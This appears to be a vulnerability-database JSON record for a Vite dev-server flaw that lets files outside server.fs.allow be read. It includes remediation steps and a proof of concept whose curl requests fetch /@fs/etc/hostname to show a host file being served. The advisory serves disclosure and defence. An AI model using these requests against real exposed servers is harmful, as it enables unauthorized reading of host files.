{"id":"CVE-2026-112946","kind":"vulnerability","aliases":["CVE-2026-112946","GHSA-rq7h-c2jc-7f22"],"related":[],"title":"Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine","description":"### Summary\n\nThe content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references `<path-to-project-root>/etc/hosts`, the content of `/etc/hosts` was possible to be returned.\n\nThe content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing `<project-root>/etc/hosts` could make Vite return the host's `/etc/hosts` file.\n\n### Impact\n\nOnly apps that meet all of the following conditions are affected:\n\n- explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host))\n- contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host\n- The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny)\n- the dev server is not running on Windows\n\n### Details\n\nWhen Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`.\n\nFor a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`.\n\n### PoC\nThe following example requires Linux with a readable `/etc/hostname`:\n```bash\n$ mkdir vite-safe-module-path-poc\n$ cd vite-safe-module-path-poc\n$ npm init -y\n$ npm install vite@8.3.1\n$ mkdir -p etc\n$ echo 'PROJECT-DECOY\\n' > etc/hostname\n$ echo 'import \"./etc/hostname\"\\n' > main.js\n$ npx vite --host 127.0.0.1\n```\n\nIn another terminal:\n```bash\n$ curl -o /dev/null -s -w '%{http_code}\\n' http://127.0.0.1:5173/main.js\n200\n$ curl -sS -o response -w '%{http_code}\\n' http://127.0.0.1:5173/@fs/etc/hostname\n200\n$ cmp -s response /etc/hostname && echo 'response matches host file'\nresponse matches host file\n```","summary":"Vite's dev server can serve a host file such as /etc/hostname to the browser when a project imports a file whose root-relative URL matches that absolute path, bypassing server.fs.allow. An attacker who can reach an exposed dev server can read files outside the project on non-Windows hosts.","severity":"medium","cvss":6.3,"epss":0.008510000072419643,"exploited":false,"exploited_at":null,"products":[{"name":"vite","fixed":["8.3.3"],"affected":">= 8.3.0, <= 8.3.2","ecosystem":"npm"},{"name":"vite","fixed":["8.2.4"],"affected":">= 8.2.0, <= 8.2.3","ecosystem":"npm"},{"name":"vite","fixed":["8.1.6"],"affected":">= 8.0.0, <= 8.1.5","ecosystem":"npm"},{"name":"vite","fixed":["7.3.7"],"affected":">= 7.0.0, <= 7.3.6","ecosystem":"npm"},{"name":"vite","fixed":["6.4.4"],"affected":"<= 6.4.3","ecosystem":"npm"},{"name":"vite-plus","fixed":["1.1.0"],"affected":"<= 1.0.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-22","cwe-284","dev-server","non-windows","npm","package","self-hosted","vite"],"not_affected_if":["default-config","dev-server-bound-to-localhost","fixed-version","windows"],"how_to_check":"Check whether the dev server is started with --host or server.host set, e.g. grep -rn \"host\" vite.config.* package.json; then check the installed version with npm ls vite.\nRun the dev server and request http://<host>:5173/@fs/etc/hostname to see if it returns the host file.\nAffected only if the installed vite falls in the listed ranges.","fix":"Upgrade vite to the fixed version for your release line: 8.3.3, 8.2.4, 8.1.6, 7.3.7, or 6.4.4; vite-plus to 1.1.0.\nUntil upgraded, do not expose the dev server with --host or server.host.","status":"open","published_at":"2026-10-20T16:17:05+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:10:26+00:00","updated_at":"2026-10-23T21:57:20+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-23T20:10:26Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade vite to the fixed version for your release line: 8.3.3, 8.2.4, 8.1.6, 7.3.7, or 6.4.4; vite-plus to 1.1.0.\nUntil upgraded, do not expose the dev server with --host or server.host.","summary":"Vite's dev server can serve a host file such as /etc/hostname to the browser when a project imports a file whose root-relative URL matches that absolute path, bypassing server.fs.allow. An attacker who can reach an exposed dev server can read files outside the project on non-Windows hosts.","category":"package","who_cares":["vite","npm","self-hosted","dev-server","non-windows"],"confidence":0.85,"analyst_note":"","how_to_check":"Check whether the dev server is started with --host or server.host set, e.g. grep -rn \"host\" vite.config.* package.json; then check the installed version with npm ls vite.\nRun the dev server and request http://<host>:5173/@fs/etc/hostname to see if it returns the host file.\nAffected only if the installed vite falls in the listed ranges.","needs_analyst":false,"not_affected_if":["default-config","windows","dev-server-bound-to-localhost","fixed-version"],"severity_if_unknown":"medium"},"cost_usd":0.000528,"input_tokens":3089,"output_tokens":438,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-112946':21A,29A '-2026':20A,28A '-22':39B '-284':41B '/config/server-options#server-fs-deny)':254C '/config/server-options#server-host))':221C '/dev/null':435C '/etc/hostname':65B,284C,317C,328C,341C,388C,422C,459C '/etc/hosts':137C,141C,182C,190C '127.0.0.1':428C,441C,452C '200':443C,455C '5173':453C '5173/main.js':442C '7f22':26A '8.3.1':410C 'absolut':82B,174C,235C,325C,344C 'accept':352C 'access':347C 'add':295C 'affect':203C,286C 'also':233C 'analyz':266C 'anoth':430C 'app':194C 'appli':349C 'attack':87B 'bash':389C,432C 'browser':68B,119C,160C,230C,280C 'bypass':84B 'c2jc':25A 'cd':397C 'check':348C,358C 'cmp':456C 'code':439C,450C 'concaten':127C 'condit':201C 'contain':222C 'content':108C,139C,148C 'convert':289C 'could':5A,183C 'curl':433C,444C 'cve':19A,27A 'cwe':38B,40B 'decoy':417C 'detail':263C 'dev':43B,56B,93B,208C,256C 'dev-serv':42B 'echo':414C,420C,460C 'ensur':302C 'etc':413C 'etc/hostname':419C 'exampl':132C,180C,382C 'explicit':204C 'expos':92B,205C 'file':2A,62B,74B,97B,110C,125C,150C,166C,191C,225C,240C,246C,369C,374C,464C,468C 'filesystem':326C,338C 'follow':200C,381C 'fs/etc/hostname':334C,454C 'fspathfromurl':293C,301C 'ghsa':23A 'ghsa-rq7h-c2jc-7f22':22A 'host':52B,61B,105B,178C,188C,214C,243C,368C,427C,463C,467C 'http':438C,449C 'id':277C 'impact':192C 'import':72B,123C,164C,224C,271C,421C 'in-root':268C 'init':405C 'instal':408C 'instead':370C 'interpret':340C 'later':331C 'lead':304C 'linux':384C 'machin':18A 'main.js':424C 'make':184C 'match':11A,80B,172C,249C,462C,466C 'meet':196C 'middlewar':339C 'mkdir':390C,411C 'modul':276C,394C,401C 'n':418C,423C,440C,451C 'network':212C 'non':16A,46B,103B 'non-window':15A,45B,102B 'npm':48B,404C,407C 'npx':425C 'o':434C,446C 'option':154C,218C 'origin':376C 'outsid':3A,98B,111C,151C 'p':412C 'packag':49B 'path':10A,13A,83B,126C,171C,175C,236C,327C,345C,353C,395C,402C 'plus':37A 'poc':379C,396C,403C 'popul':377C 'possibl':143C 'present':354C 'project':9A,71B,100B,122C,135C,163C,312C,315C,373C,416C 'project-decoy':415C 'raw':337C 'raw-filesystem':336C 'reach':90B 'read':96B 'readabl':239C,387C 'record':319C 'refer':136C 'referenc':181C 'relat':78B,170C,229C 'request':332C,364C 'requir':383C 'resolv':275C,307C 'respons':447C,458C,461C,465C 'result':297C,362C 'return':116C,146C,157C,186C,366C 'rewrit':273C 'root':77B,130C,169C,228C,270C,313C 'root-rel':76B,168C,227C 'rq7h':24A 'run':260C 'safe':393C,400C 'safemodulepath':299C,356C,378C 'self':51B 'self-host':50B 'sensit':245C 'serv':7A,59B 'server':44B,57B,94B,209C,257C 'server.fs':112C 'server.fs.allow':4A,85B,153C,359C 'server.fs.deny':251C,350C 'server.host':217C 'set':113C 'slash':305C 'ss':445C 'summari':106C 'system':12A 'termin':431C 'url':79B,231C,281C,291C,309C,316C 'use':213C 'version':287C 'vite':1A,30A,31A,32A,33A,34A,36A,53B,54B,185C,207C,265C,288C,392C,399C,409C,426C 'vite-plus':35A 'vite-safe-module-path-poc':391C,398C 'vite.dev':220C,253C 'vite.dev/config/server-options#server-fs-deny)':252C 'vite.dev/config/server-options#server-host))':219C 'w':437C,448C 'whose':75B,167C,226C 'window':17A,47B,104B,262C 'without':306C 'y':406C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T16:17:05+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-rq7h-c2jc-7f22","url":"https://github.com/advisories/GHSA-rq7h-c2jc-7f22","severity":"medium","published_at":"2026-10-21T16:47:42+00:00","modified_at":"2026-10-21T16:47:43+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112946","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112946","severity":null,"published_at":"2026-10-20T16:17:05+00:00","modified_at":"2026-10-20T19:56:45+00:00","first_seen_at":"2026-10-23T21:57:20+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}